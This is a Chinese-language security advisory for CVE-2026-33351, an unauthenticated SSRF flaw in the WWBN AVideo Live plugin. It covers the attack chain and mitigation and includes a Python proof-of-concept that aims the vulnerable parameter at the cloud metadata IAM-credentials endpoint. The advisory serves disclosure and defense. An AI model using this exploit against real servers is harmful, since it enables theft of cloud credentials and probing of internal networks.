IPBUF安全漏洞报告
English
CVE-2026-33351 CVSS 9.1 严重

CVE-2026-33351 AVideo存在SSRF漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33351
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SSRFAVideo服务端请求伪造严重漏洞Live插件

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0版本之前,其Live插件存在服务端请求伪造(SSRF)漏洞。漏洞源于`saveDVR.json.php`文件直接使用用户可控的`webSiteRootURL`参数进行URL请求,且未实施任何身份验证或URL白名单机制。攻击者可利用此漏洞诱导服务器向内网发起请求,从而探测内网信息或访问敏感资源。

技术细节

该漏洞的核心触发点位于AVideo Live插件的`saveDVR.json.php`文件中。在默认或推荐的独立部署模式下,应用程序逻辑直接从`$_REQUEST['webSiteRootURL']`中提取用户输入,并利用PHP内置函数`file_get_contents()`对该URL发起请求。由于代码层面缺失了身份验证环节(对应CVSS中的PR:N),且未实施任何形式的URL校验(如DNS重绑定防护、内网IP黑名单或域名白名单),导致该接口完全暴露在公网。攻击者只需构造包含恶意`webSiteRootURL`值的GET或POST请求,即可诱导服务器端代为请求内网资源。这种SSRF漏洞不仅可用于探测内网拓扑结构,还可能结合云环境元数据服务窃取凭证,或利用内部未授权接口造成更严重的数据泄露。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标正在使用WWBN AVideo平台,且Live插件处于独立模式部署。
STEP 2
步骤2:构造恶意请求
攻击者构造特制的HTTP请求,将`webSiteRootURL`参数设置为内网敏感地址(如127.0.0.1或云元数据服务地址)。
STEP 3
步骤3:发送请求
攻击者向`plugin/Live/standAloneFiles/saveDVR.json.php`发送该恶意请求,无需通过身份验证。
STEP 4
步骤4:服务端请求
服务器端接收到请求后,解析`webSiteRootURL`参数,并使用`file_get_contents()`函数向攻击者指定的内网地址发起连接。
STEP 5
步骤5:信息泄露
服务器将内网资源的响应返回给攻击者,导致内网信息泄露或进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests # Target URL (Vulnerable endpoint) target_url = "http://target-ip/plugin/Live/standAloneFiles/saveDVR.json.php" # Malicious internal URL to test SSRF (e.g., local metadata or internal port) # Example: AWS Metadata, Localhost, or internal admin panel malicious_payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Parameters to exploit the vulnerability params = { "webSiteRootURL": malicious_payload } try: print(f"Sending request to {target_url} with payload...") response = requests.get(target_url, params=params, timeout=10) # Check if the request was processed if response.status_code == 200: print("[+] Potential SSRF vulnerability triggered!") print("Response content:") print(response.text[:500]) # Print first 500 chars to avoid huge output else: print(f"[-] Request returned status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}")

影响范围

WWBN AVideo < 26.0

防御指南

临时缓解措施
如果无法立即升级,建议限制对`plugin/Live/standAloneFiles/`目录的Web访问权限,或通过服务器防火墙规则禁止应用服务器访问非业务必需的内网IP段(如127.0.0.1, 169.254.169.254等)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表